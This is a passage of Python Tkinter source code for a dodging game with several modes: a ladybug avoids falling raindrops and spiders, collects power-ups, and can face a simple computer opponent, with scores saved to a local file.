data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\ndef hit(data):\n for coconut in data.coconuts:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if coconut.y >= data.cy - data.r and coconut.y <= data.cy + data.r:\n if (coconut.x >= data.cx - data.r and coconut.x <= data.cx +\n data.r):\n data.cy += data.hitPenalty\n if data.mode == 'levelCreated':\n data.lives -= 1\n elif data.hit == False and data.level < data.levelMax:\n data.score -= data.level\n data.coconuts.remove(coconut)\n if data.mode == 'levelCreated':\n data.levelEditorLives -= 1\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n 